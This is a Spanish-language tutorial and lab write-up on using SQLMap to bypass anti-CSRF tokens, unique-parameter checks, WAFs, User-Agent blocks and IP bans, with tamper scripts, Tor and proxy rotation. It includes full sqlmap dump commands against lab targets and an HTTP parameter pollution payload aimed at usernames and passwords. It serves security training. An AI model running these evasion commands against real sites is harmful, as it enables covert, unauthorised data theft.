🛡️ Evasión de Protecciones en Aplicaciones Web con SQLMap
SQLMap incluye múltiples mecanismos para evadir defensas comunes en aplicaciones web como tokens anti-CSRF, validaciones dinámicas, WAF, bloqueos por IP o User-Agent y filtros de seguridad.
🎯 Contexto general
En un escenario ideal, una aplicación vulnerable:
-
No tiene protecciones
-
Permite explotación automática directa
👉 En escenarios reales, esto casi nunca ocurre.
Las aplicaciones modernas implementan defensas que:
-
Rompen herramientas automáticas
-
Detectan patrones de ataque
-
Bloquean solicitudes repetitivas
SQLMap incorpora soluciones automáticas para adaptarse a estos casos.
🔐 Omisión de tokens Anti-CSRF
Es un valor dinámico y único que el servidor exige en cada solicitud para comprobar que el usuario realmente visitó la página.
🧠 ¿Por qué rompe la automatización?
-
El token cambia en cada petición
-
No se puede reutilizar
-
Las peticiones sin token válido son rechazadas
Esto impide ataques automáticos… salvo que se gestione correctamente.
🛠️ Opción clave: --csrf-token
sqlmap -u "http://www.example.com/" --data="id=1&csrf-token=WfF1szMUHhiokx9AHFply5L2xAOfjRkE" --csrf-token="csrf-token"
🧠 ¿Qué hace SQLMap exactamente?
-
Envía la petición
-
Analiza la respuesta del servidor
-
Extrae el nuevo token
-
Sustituye automáticamente el token en la siguiente petición
Si un parámetro contiene csrf, xsrf o token, SQLMap preguntará si debe actualizarlo automáticamente.
🔄 Bypass de valores únicos ( --randomize )
Algunas aplicaciones no usan CSRF, pero exigen que ciertos parámetros:
-
Cambien en cada request
-
Sean siempre distintos
Esto rompe ataques repetitivos.
🛠️ Opción: --randomize
sqlmap -u "http://www.example.com/?id=1&rp=29125" --randomize=rp --batch -v 5 | grep URI
🧠 ¿Qué hace?
-
Genera un valor aleatorio en cada petición
-
Evita detección por repetición
-
Simula comportamiento humano
-
Hay parámetros “raros” que cambian siempre
-
La app rechaza valores repetidos
🧮 Omisión de parámetros calculados ( --eval )
Algunas aplicaciones esperan parámetros calculados a partir de otros.
📌 Ejemplo típico:
-
h = MD5(id) -
token = SHA1(user + secret)
🛠️ Opción: --eval
sqlmap -u "http://www.example.com/?id=1&h=c4ca4238a0b923820dcc509a6f75849b" --eval="import hashlib; h=hashlib.md5(id).hexdigest()" --batch -v 5 | grep URI
🧠 ¿Qué hace?
-
Ejecuta código Python antes de cada petición
-
Recalcula el valor correcto dinámicamente
-
Evita validaciones lógicas del backend
El código de --eval se ejecuta en tu máquina, pero afecta todas las peticiones enviadas.
🕵️ Ocultación de dirección IP
-
IP en lista negra
-
Rate limiting
-
Necesidad de anonimato
🌐 Uso de proxy
sqlmap -u "http://<IP>:PUERTO/?id=1" --proxy="socks4://IP:PUERTO"
📂 Rotación de proxies
sqlmap -u "http://<IP>:PUERTO/?id=1" --proxy-file=proxies.txt
SQLMap cambiará de proxy automáticamente.
🧅 Uso de Tor
sqlmap -u "http://<IP>:PUERTO/?id=1" --tor
✔️ Verificar Tor
sqlmap -u "http://<IP>:PUERTO/?id=1" --tor --check-tor
SQLMap comprobará que el tráfico sale por Tor.
🧱 Bypass de WAF (Web Application Firewall)
SQLMap detecta WAF enviando:
-
Payloads maliciosos falsos
-
Parámetros inexistentes
📌 Ejemplo:
- ModSecurity → 406 Not Acceptable
🧠 Identificación del WAF
-
SQLMap usa la librería identYwaf
-
Más de 80 WAF soportados
🔇 Evitar detección de WAF
sqlmap -u "http://<IP>:PUERTO/?id=1" --skip-waf
🧑💻 Bypass de User-Agent
Muchas aplicaciones bloquean directamente:
User-Agent: sqlmap/1.x
🛠️ Solución
sqlmap -u "http://<IP>:PUERTO/?id=1" --random-agent
🧠 ¿Qué hace?
-
Usa User-Agents reales
-
Simula tráfico legítimo
-
Evita bloqueos inmediatos
🧬 Scripts Tamper (Evasión avanzada)
Scripts en Python que modifican la petición para evadir WAF/IPS.
👉 Cambian la forma, no el resultado del ataque.
🛠️ Uso básico
sqlmap -u "http://<IP>:PUERTO/?id=1" --tamper=between --batch
🔗 Encadenar tamper
sqlmap -u "http://<IP>:PUERTO/?id=1" --tamper=between,randomcase,space2comment --batch
📜 Tamper más importantes (explicados)
| Tamper | ¿Qué hace? | Útil contra |
|---|---|---|
| between | = y > → BETWEEN |
WAF simples |
| randomcase | Mayúsculas aleatorias | Regex |
| space2comment | Espacios → comentarios | Filtros de espacios |
| space2plus | Espacios → + |
Parsing débil |
| symboliclogical | AND/OR → && / | |
| percentage | Codifica caracteres | WAF básicos |
| base64encode | Payload en Base64 | Inspección directa |
📌 Ver todos los tamper
sqlmap --list-tampers
🧩 Bypasses adicionales
📦 Chunked Transfer Encoding
sqlmap -u "http://<IP>:PUERTO/" --chunked
🔹 Divide la petición POST en fragmentos
🔹 Oculta palabras clave SQL
🧪 HTTP Parameter Pollution (HPP)
Ejemplo conceptual:
?id=1&id=UNION&id=SELECT&id=username,password&id=FROM&id=users
🔹 Algunos frameworks concatenan parámetros
🔹 Permite evadir filtros por fragmentación
🧪 Ejercicios prácticos de evasión con SQLMap
Aplicar técnicas de evasión vistas anteriormente (CSRF, randomize, user-agent, tamper) para explotar vulnerabilidades SQLi reales.
🧩 Ejercicio 1 – flag8 (Anti-CSRF)
🎯 Enunciado
Detectar y explotar una SQLi en un parámetro POST, teniendo en cuenta que:
-
Existe protección Anti-CSRF
-
El token usa un nombre no estándar
🧠 Análisis inicial
Al acceder a:
http://94.237.123.236:35786/case8.php
Pone
Detect and exploit SQLi vulnerability in POST parameter id, while taking care of the anti-CSRF protection
(Note: non-standard token name is used)
La página indica:
Detect and exploit SQLi vulnerability in POST parameter id, while taking care of the anti-CSRF protection
(Note: non-standard token name is used)
📌 Esto nos dice claramente:
-
Hay SQLi
-
El token no se llama
csrf_token -
SQLMap necesita ayuda
🕵️ Captura de la petición (Burp Suite)
-
Interceptamos la petición POST
-
Observamos un parámetro sospechoso, por ejemplo:
-
id=1 -
t0ken=VALOR_ALEATORIO
-
📌 Ese parámetro es el token Anti-CSRF
💾 Guardar la petición
Guardamos la petición completa en un archivo req.txt
Esto es importante porque:
-
Mantiene headers
-
Mantiene cookies
-
Mantiene estructura exacta

🛠️ Explotación con SQLMap
sqlmap -r req.txt --csrf-token=t0ken --batch --dump
🧠 ¿Qué está haciendo SQLMap aquí?
-
Usa la petición original (
-r req.txt) -
Detecta que
t0kenes dinámico -
Extrae un nuevo token en cada respuesta
-
Sustituye automáticamente el token
-
Explota la SQLi y vuelca los datos

🧩 Ejercicio 2 – flag9 (Parámetro único)
🎯 Enunciado
La aplicación usa un parámetro que debe ser único en cada petición.
🧠 Análisis
URL objetivo:
http://<IP>:PUERTO/case9.php?id=1&uid=1280517635
Observamos:
-
idparece vulnerable -
uidcambia constantemente
📌 Esto suele indicar:
-
Control anti-repetición
-
Valor aleatorio obligatorio
🛠️ Técnica aplicada: --randomize
sqlmap -u "http://94.237.55.124:31546/case9.php?id=1&uid=1280517635" --randomize=uid --batch --dump
🧠 ¿Qué hace SQLMap?
-
Genera un nuevo valor para
uiden cada request -
Evita que el servidor detecte automatización
-
Permite continuar la explotación SQLi

🧩 Ejercicio 3 – flag10 (Bloqueo por User-Agent)
🎯 Enunciado
La aplicación bloquea herramientas automáticas por User-Agent.

Ç

🧠 Análisis
Durante el acceso:
-
Aparecen errores HTTP
-
La página funciona en navegador
-
SQLMap falla al inicio
📌 Esto suele indicar:
- Bloqueo del User-Agent por defecto de SQLMap
🛠️ Solución: --random-agent
Tras capturar la petición con Burp y guardarla en req.txt:

sqlmap -r req.txt --dump --batch --random-agent
🧠 ¿Qué cambia?
-
SQLMap usa User-Agents reales
-
Simula tráfico de navegador
-
Evita bloqueos simples

What's the contents of table flag11? (Case #11)

sqlmap -u "http://94.237.55.124:31546/case11.php?id=1" --batch --tamper=between --dump -T flag11

🎯 Conclusión
SQLMap no solo lanza payloads, sino que:
-
Se adapta a defensas
-
Simula usuarios reales
-
Evade controles automáticos
-
Permite explotación en entornos reales